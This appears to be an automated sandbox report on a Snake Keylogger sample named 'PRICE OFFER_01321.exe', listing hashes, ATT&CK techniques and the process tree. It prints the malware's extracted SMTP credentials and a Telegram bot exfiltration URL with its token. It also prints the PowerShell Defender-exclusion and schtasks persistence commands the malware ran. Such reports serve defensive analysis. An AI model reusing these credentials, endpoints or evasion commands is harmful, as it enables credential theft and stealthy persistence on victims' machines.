snakekeylogger | 6fccc54b1735e68508ccfdad83f18a26226257c153b714d8cff7d0cffe905423

Analysis

max time kernel
152s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
05-07-2022 12:02

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General

Target

PRICE OFFER_01321.exe
Size

699KB
MD5

c4e2b85e0285bd6fc888c326a4724ba8
SHA1

27629d34786f67e20c31e4ab3ee88276fc8e51a4
SHA256

6fccc54b1735e68508ccfdad83f18a26226257c153b714d8cff7d0cffe905423
SHA512

3038e1a9242a7a94acb083aee37b1d874682181f01cc63b029146b709555c269d3e93fabd40ce22fa2cdb9f65e45be3540646991408ee13ecf6e2f74855b075e

Score

10^/10

snakekeylogger collection evasion keylogger spyware stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
mail.anatolia-mountains.com
Port:
587
Username:
h.alhaj@anatolia-mountains.com
Password:
Anatolia3?
Email To:
jevi.jrk@gmail.com

https://api.telegram.org/bot5340115384:AAFLNLUoDjoCsDoiMMlkY81rG-_Kb9LOEBc/sendMessage?chat_id=5316464344

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4236-145-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

PRICE OFFER_01321.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions PRICE OFFER_01321.exe
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

PRICE OFFER_01321.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools PRICE OFFER_01321.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	PRICE OFFER_01321.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	PRICE OFFER_01321.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

PRICE OFFER_01321.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	PRICE OFFER_01321.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	PRICE OFFER_01321.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

PRICE OFFER_01321.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	PRICE OFFER_01321.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

PRICE OFFER_01321.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	PRICE OFFER_01321.exe
Key opened	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	PRICE OFFER_01321.exe
Key opened	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	PRICE OFFER_01321.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

35 checkip.dyndns.org

flow	ioc
35	checkip.dyndns.org

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

PRICE OFFER_01321.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	PRICE OFFER_01321.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	PRICE OFFER_01321.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

PRICE OFFER_01321.exe

description pid process target process

PID 2480 set thread context of 4236 2480 PRICE OFFER_01321.exe PRICE OFFER_01321.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2920 schtasks.exe

description	pid	process	target process
PID 2480 set thread context of 4236	2480	PRICE OFFER_01321.exe	PRICE OFFER_01321.exe

pid	process
2920	schtasks.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

PRICE OFFER_01321.exepowershell.exepowershell.exePRICE OFFER_01321.exe

pid	process
2480	PRICE OFFER_01321.exe
4132	powershell.exe
4960	powershell.exe
2480	PRICE OFFER_01321.exe
4236	PRICE OFFER_01321.exe
4132	powershell.exe
4960	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

PRICE OFFER_01321.exepowershell.exepowershell.exePRICE OFFER_01321.exe

description	pid	process
Token: SeDebugPrivilege	2480	PRICE OFFER_01321.exe
Token: SeDebugPrivilege	4132	powershell.exe
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeDebugPrivilege	4236	PRICE OFFER_01321.exe

Suspicious use of WriteProcessMemory 17 IoCs

Processes:

PRICE OFFER_01321.exe

description	pid	process	target process
PID 2480 wrote to memory of 4132	2480	PRICE OFFER_01321.exe	powershell.exe
PID 2480 wrote to memory of 4132	2480	PRICE OFFER_01321.exe	powershell.exe
PID 2480 wrote to memory of 4132	2480	PRICE OFFER_01321.exe	powershell.exe
PID 2480 wrote to memory of 4960	2480	PRICE OFFER_01321.exe	powershell.exe
PID 2480 wrote to memory of 4960	2480	PRICE OFFER_01321.exe	powershell.exe
PID 2480 wrote to memory of 4960	2480	PRICE OFFER_01321.exe	powershell.exe
PID 2480 wrote to memory of 2920	2480	PRICE OFFER_01321.exe	schtasks.exe
PID 2480 wrote to memory of 2920	2480	PRICE OFFER_01321.exe	schtasks.exe
PID 2480 wrote to memory of 2920	2480	PRICE OFFER_01321.exe	schtasks.exe
PID 2480 wrote to memory of 4236	2480	PRICE OFFER_01321.exe	PRICE OFFER_01321.exe
PID 2480 wrote to memory of 4236	2480	PRICE OFFER_01321.exe	PRICE OFFER_01321.exe
PID 2480 wrote to memory of 4236	2480	PRICE OFFER_01321.exe	PRICE OFFER_01321.exe
PID 2480 wrote to memory of 4236	2480	PRICE OFFER_01321.exe	PRICE OFFER_01321.exe
PID 2480 wrote to memory of 4236	2480	PRICE OFFER_01321.exe	PRICE OFFER_01321.exe
PID 2480 wrote to memory of 4236	2480	PRICE OFFER_01321.exe	PRICE OFFER_01321.exe
PID 2480 wrote to memory of 4236	2480	PRICE OFFER_01321.exe	PRICE OFFER_01321.exe
PID 2480 wrote to memory of 4236	2480	PRICE OFFER_01321.exe	PRICE OFFER_01321.exe

outlook_office_path 1 IoCs

Processes:

PRICE OFFER_01321.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	PRICE OFFER_01321.exe

outlook_win_path 1 IoCs

Processes:

PRICE OFFER_01321.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	PRICE OFFER_01321.exe

C:\Users\Admin\AppData\Local\Temp\PRICE OFFER_01321.exe
"C:\Users\Admin\AppData\Local\Temp\PRICE OFFER_01321.exe"
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Checks computer location settings
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2480

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\PRICE OFFER_01321.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4132

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\NDQkzFEuerWbZz.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4960

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NDQkzFEuerWbZz" /XML "C:\Users\Admin\AppData\Local\Temp\tmp396F.tmp"
2⤵
- Creates scheduled task(s)
PID:2920

C:\Users\Admin\AppData\Local\Temp\PRICE OFFER_01321.exe
"C:\Users\Admin\AppData\Local\Temp\PRICE OFFER_01321.exe"
2⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4236

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
3d086a433708053f9bf9523e1d87a4e8

SHA1
b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

SHA256
6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

SHA512
931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
cbcda80fe8eeb657e5bd85c38503f67c

SHA1
75e0af444f8eea122b74eca30944ce8aa0a26b21

SHA256
9215e0a7ec60d81bb0ba28bbcf0bc3a4b8a74190afb6d554ef875d22e29727e3

SHA512
045340facad72b1eec0d4204916b62e91d8c553f7069f342c3926fb918a84e1cec850faca0888ffb34ded7fc0067ac68ce8df1e3aeade060ff904d3744221206

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp396F.tmp
Filesize
1KB

MD5
c55d597d8dd3b06725c8b005bce3f61b

SHA1
009b3db0e75102eae21b7eba18f1363d949083fb

SHA256
f03a1d6020554a7389bbd44101aed839b9824c6ff6d7e5aaba023f954f9b4783

SHA512
b65c824b3a62a2a762be32dd4039b064099803294922b1b04d189e52f8c97d718008f0c20270e9ab2158dabb80721e517c016db92d042b6acfda3793d2e74da3

Download Submit
memory/2480-131-0x0000000008410000-0x00000000089B4000-memory.dmp

Filesize
5.6MB

Download
memory/2480-132-0x0000000007F00000-0x0000000007F92000-memory.dmp

Filesize
584KB

Download
memory/2480-133-0x0000000007EC0000-0x0000000007ECA000-memory.dmp

Filesize
40KB

Download
memory/2480-134-0x000000000BC40000-0x000000000BCDC000-memory.dmp

Filesize
624KB

Download
memory/2480-135-0x000000000BF90000-0x000000000BFF6000-memory.dmp

Filesize
408KB

Download
memory/2480-130-0x0000000000F70000-0x0000000001024000-memory.dmp

Filesize
720KB

Download
memory/2920-140-0x0000000000000000-mapping.dmp

Download
memory/4132-151-0x0000000006910000-0x000000000692E000-memory.dmp

Filesize
120KB

Download
memory/4132-138-0x00000000055A0000-0x0000000005BC8000-memory.dmp

Filesize
6.2MB

Download
memory/4132-142-0x0000000005CA0000-0x0000000005D06000-memory.dmp

Filesize
408KB

Download
memory/4132-136-0x0000000000000000-mapping.dmp

Download
memory/4132-137-0x0000000002A50000-0x0000000002A86000-memory.dmp

Filesize
216KB

Download
memory/4132-158-0x00000000079B0000-0x00000000079B8000-memory.dmp

Filesize
32KB

Download
memory/4132-146-0x0000000006390000-0x00000000063AE000-memory.dmp

Filesize
120KB

Download
memory/4132-155-0x0000000007910000-0x00000000079A6000-memory.dmp

Filesize
600KB

Download
memory/4132-154-0x0000000007700000-0x000000000770A000-memory.dmp

Filesize
40KB

Download
memory/4132-153-0x0000000007690000-0x00000000076AA000-memory.dmp

Filesize
104KB

Download
memory/4132-149-0x0000000070EC0000-0x0000000070F0C000-memory.dmp

Filesize
304KB

Download
memory/4132-141-0x0000000005C00000-0x0000000005C22000-memory.dmp

Filesize
136KB

Download
memory/4236-147-0x0000000006B50000-0x0000000006D12000-memory.dmp

Filesize
1.8MB

Download
memory/4236-145-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/4236-144-0x0000000000000000-mapping.dmp

Download
memory/4960-152-0x0000000007A10000-0x000000000808A000-memory.dmp

Filesize
6.5MB

Download
memory/4960-150-0x0000000070EC0000-0x0000000070F0C000-memory.dmp

Filesize
304KB

Download
memory/4960-148-0x0000000006680000-0x00000000066B2000-memory.dmp

Filesize
200KB

Download
memory/4960-156-0x0000000007600000-0x000000000760E000-memory.dmp

Filesize
56KB

Download
memory/4960-157-0x0000000007710000-0x000000000772A000-memory.dmp

Filesize
104KB

Download
memory/4960-139-0x0000000000000000-mapping.dmp

Download